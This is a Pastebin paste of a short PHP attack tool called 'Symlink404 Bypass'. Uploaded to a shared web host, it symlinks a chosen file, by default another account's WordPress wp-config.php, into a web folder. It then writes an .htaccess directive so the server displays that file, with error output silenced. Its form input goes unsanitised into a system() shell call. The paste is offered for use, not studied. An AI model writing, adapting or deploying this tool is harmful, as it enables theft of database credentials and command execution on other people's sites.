Advertisement
KOD3

Bypass symlink config

Oct 20th, 2018
890
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. <title>Symlink404 Bypass</title>
  2. <body bgcolor=black>
  3. <center>
  4. <font color="red">
  5. <b><a href="https://www.facebook.com/hoarkode">Coded By Ho4R KOD3</a></b><br>
  6. <form method="post"><br>File Target : <input name="dir" value="/home/user/public_html/wp-config.php">
  7. <br>Save As: <input name="jnck" value="pass.txt"><input name="ojaykan" type="submit" value="submit"></form><br>
  8. <?
  9. @error_reporting(0);
  10. @ini_set('display_errors', 0);
  11. if($_POST['ojaykan']){
  12. rmdir("sym404");mkdir("sym404", 0777);
  13. $dir = $_POST['dir'];
  14. $jnck = $_POST['jnck'];
  15. system("ln -s ".$dir." sym404/".$jnck);
  16. symlink($dir,"sym404/".$jnck);
  17. $inija = fopen("sym404/.htaccess", "w");
  18. fwrite($inija,"ReadmeName ".$jnck);
  19. echo'<a href="sym404/">Klik Gan >:(</a>';
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement